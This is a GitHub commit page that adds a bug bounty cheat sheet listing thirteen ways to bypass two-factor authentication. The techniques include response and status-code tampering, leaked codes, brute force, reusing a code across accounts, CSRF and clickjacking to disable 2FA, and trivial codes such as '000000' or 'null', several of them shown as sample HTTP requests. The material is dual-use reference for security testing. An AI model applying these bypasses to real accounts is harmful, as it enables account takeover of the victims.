ch0ic3/AllAboutBugBounty
1
0
Fork 0
mirror of https://github.com/daffainfo/AllAboutBugBounty.git synced 2024-12-19 19:06:13 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Daffa / Adding bypass 2FA

Browse Source
This commit is contained in:
MD15 2021-02-01 17:43:29 +07:00
parent 410420e645
commit 8d34dc26d4
1 changed files with 93 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

93
Bypass 2FA.md Normal file
View File

@ -0,0 +1,93 @@
# 2FA Bypass
1. Response manipulation
The response is
```
HTTP/1.1 404 Not Found
...
{"code": false}
```
Try this to bypass
```
HTTP/1.1 404 Not Found
...
{"code": true}
```
2. Status code manipulation
The response is
```
HTTP/1.1 404 Not Found
...
{"code": false}
```
Try this to bypass
```
HTTP/1.1 200 OK
...
{"code": false}
```
3. 2FA Code in Response
Always check the response!
```
POST /req-2fa/
Host: vuln.com
...
email=victim@gmail.com
```
The response is
```
HTTP/1.1 200 OK
...
{"email": "victim@gmail.com", "code": "101010"}
```
4. JS Files may contain info about the 2FA Code (Rare case)
5. Bruteforce the 2FA code
6. Missing 2FA Code integrity validation, code for any user account can be used
```
POST /2fa/
Host: vuln.com
...
email=attacker@gmail.com&code=382923
```
```
POST /2fa/
Host: vuln.com
...
email=victim@gmail.com&code=382923
```
7. No CSRF protection on disabling 2FA, also there is no auth confirmation.
8. 2FA gets disabled on password change/email change.
9. Clickjacking on 2FA disabling page, by iframing the 2FA Disabling page and lure the victim to disable the 2FA.
10. Enabling 2FA doesn't expire previously active sessions, if the session is already hijacked and there is a session timeout vuln.
11. 2FA code reusability, same code can be reused.
12. Enter code 000000
```
POST /2fa/
Host: vuln.com
...
code=00000
```
13. Enter code "null"
```
POST /2fa/
Host: vuln.com
...
code=null
```
Source: [Harsh Bothra](https://twitter.com/harshbothra_) and other writeup